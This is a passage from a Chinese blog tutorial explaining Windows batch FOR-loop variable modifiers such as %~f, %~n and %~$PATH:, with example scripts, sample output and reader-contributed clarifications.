for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~dpI %%~dpi --仅将变量扩充到一个驱动器号和路径
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~nxI %%~nxi --仅将变量扩充到一个文件名和扩展名
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~fsI %%~fsI --仅将变量扩充到一个带有短名的完整路径名
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~dp$PATH:I %%~dp$PATH:i --查找列在路径环境变量的目录,并将变量扩充到找到的第一个驱动器号和路径
for /f "delims==" %%i in ('dir c:\boot.ini /b /ah') do echo 扩展变量到~ftzaI %%~ftzai --将变量扩充到类似输出线路的DIR
echo.
echo ---显示"dir C:\WINDOWS\system32\notepad.exe /b"
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 不扩展变量 %%i
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~fI %%~fi --扩充到一个完全合格的路径名
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~dI %%~di --仅将变量扩充到一个驱动器号
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~pI %%~pi --仅将变量扩充到一个路径
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~nI %%~ni --仅将变量扩充到一个文件名
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~xI %%~xi --仅将变量扩充到一个文件扩展名
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~sI %%~si --扩充的路径只含有短名
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~aI %%~ai --将变量扩充到文件的文件属性
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~tI %%~ti --将变量扩充到文件的日期/时间
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~zI %%~zi --将变量扩充到文件的大小
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~$PATH:I %%~$PATH:i --查找列在路径环境变量的目录,并将变量扩充到找到的第一个完全合格的名称
echo ---以下显示组合修饰符来得到多重结果---:
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~dpI %%~dpi --仅将变量扩充到一个驱动器号和路径
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~nxI %%~nxi --仅将变量扩充到一个文件名和扩展名
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~fsI %%~fsI --仅将变量扩充到一个带有短名的完整路径名
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~dp$PATH:I %%~dp$PATH:i --查找列在路径环境变量的目录,并将变量扩充到找到的第一个驱动器号和路径
for /f "delims==" %%i in ('dir C:\WINDOWS\system32\notepad.exe /b') do echo 扩展变量到~ftzaI %%~ftzai --将变量扩充到类似输出线路的DIR
Pause
TTT说明:
1,以上命令中,%%~fsI无法显示,估计是系统错误,因为%%~fI是扩充到一个完全合格的路径名,%%~sI只含有短文件名,本身是相互矛盾的,所以出错。不知是系统的错误还是在考我们~~
2,以上命令如果保存在别的盘中,无法显示正确的驱动器和路径。
3,如果想要%%~dp$PATH:i正常显示,要保证环境变量path中确实有这个路径:C:\WINDOWS\system32。
下面依次说明一下:
+++
一、 ~I       - 删除任何引号("),扩展 %I
---
这个变量的作用就如他的说明,删除引号!
删除引号规则如下(BAT兄补充!):
1、若字符串首尾同时存在引号,则删除首尾的引号;
2、若字符串尾不存在引号,则删除字符串首的引号;
3、如果字符串中间存在引号,或者只在尾部存在引号,则不删除。
龙卷风补充:无头不删,有头连尾删。
我们来看这个例子,首先建立临时文件temp.txt,内容如下
"1111
"2222"
3333"
"4444"44
"55"55"55
也可建立个BAT文件代码如下:
@echo off
echo ^"1111>temp.txt
echo "2222">>temp.txt
echo 3333^">>temp.txt
echo "4444"44>>temp.txt
echo ^"55"55"55>>temp.txt
rem 上面建立临时文件,注意不成对的引号要加转义字符^,重定向符号前不要留空格
FOR /F "delims=" %%i IN (temp.txt) DO echo   %%~i
pause
del temp.txt
执行后,我们看CMD的回显如下:
1111           #字符串前的引号被删除了
2222           #字符串首尾的引号都被删除了
3333"       #字符串前无引号,后面的引号保留
4444"44        #字符串前面的引号删除了,而中间的引号保留
55"55"55    #字符串前面的引号删除了,而中间的引号保留
请按任意键继续. . .
结果和之前temp.txt中的内容对比一下,我们会发现第1、2、5行的引号都消失了,这就是删除引号~i的作用了!
+++
二、 %~fI        - 将 %I 扩展到一个完全合格的路径名
示例:
把代码保存放在随便哪个地方,我这里就放桌面吧.
FOR /F "delims==" %%i IN ('dir /b') DO @echo   %%~fi
pause
执行后显示内容如下
C:\Documents and Settings\Administrator\桌面\test.bat
C:\Documents and Settings\Administrator\桌面\test.vbs
当我把代码中的 %%~fi直接改成%%i
FOR /F "delims==" %%i IN ('dir /b') DO @echo   %%i
pause
执行后就会显示以下内容:
test.bat
test.vbs
通过对比,我们很容易就看出没有路径了,这就是"将 %I 扩展到一个完全合格的路径名"的作用,也就是如果%i变量的内容是一个文件名的话,他就会把这个文件所在的绝对路径打印出来,而不只单单打印一个文件名,自己动手动实验下就知道了!
+++
三、 %~dI        - 仅将 %I 扩展到一个驱动器号
看例子:
代码如下,我还是放到桌面执行!
FOR /F "delims==" %%i IN ('dir /b') DO @echo   %%~di
pause
执行后我CMD里显示如下
C:
C:
我桌面就两个文件test.bat,test.vbs,%%~di作用是,如果变量%%i的内容是一个文件或者目录名,他就会把他这文件或者目录所在的盘符号打印出来!
+++
四、 %~pI        - 仅将 %I 扩展到一个路径
这个用法和上面一样,他只打印路径不打印文件名字
FOR /F "delims==" %%i IN ('dir /b') DO @echo   %%~pi
pause
我就不打结果了,大家自己复制代码看结果吧,下面几个都是这么个用法,代码给出来,大家自己看结果吧!
+++
五、 %~nI        - 仅将 %I 扩展到一个文件名
只打印文件名字
FOR /F "delims==" %%i IN ('dir /b') DO @echo   %%~ni
pause
+++
六、 %~xI        - 仅将 %I 扩展到一个文件扩展名
只打印文件的扩展名
FOR /F "delims==" %%i IN ('dir /b') DO @echo   %%~xi
pause
+++
七、 %~sI        - 扩展的路径只含有短名
打印绝对短文件名
FOR /F "delims==" %%i IN ('dir /b') DO @echo   %%~si
pause
+++
八、 %~aI        - 将 %I 扩展到文件的文件属性
打印文件的属性
FOR /F "delims==" %%i IN ('dir /b') DO @echo   %%~ai
pause
+++
九、 %~tI        - 将 %I 扩展到文件的日期/时间
打印文件建立的日期
FOR /F "delims==" %%i IN ('dir /b') DO @echo   %%~ti
pause
+++
十、 %~zI        - 将 %I 扩展到文件的大小
打印文件的大小
FOR /F "delims==" %%i IN ('dir /b') DO @echo   %%~zi
pause
龙卷风补充:上面例子中的"delims=="可以改为"delims=",即不要分隔符
+++
十一、 %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩展到找到的第一个完全合格的名称。如果环境变量名未被定义,或者没有找到文件,此组合键会扩展到空字符串
这是最后一个,和上面那些都不一样,我单独说说!
然后在把这些代码保存为批处理,放在桌面。
@echo off
FOR /F "delims=" %%i IN (“notepad.exe”) DO echo   %%~$PATH:i
pause
龙卷风补充:上面代码显示结果为C:\WINDOWS\system32\notepad.exe
他的意思就在PATH变量里指定的路径里搜索notepad.exe文件,如果有notepad.exe则会把他所在绝对路径打印出来,没有就打印一个错误!
(TTT说明,保存到桌面上,运行显示结果为:系统找不到文件 “notepad.exe”。查看环境变量path中确实有这个路径,不明原因!后来发现了,原来是中文引号的原因。
上面的命令应该写成:
FOR /F "delims=" %%i IN ("notepad.exe") DO echo   %%~$PATH:i 
)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值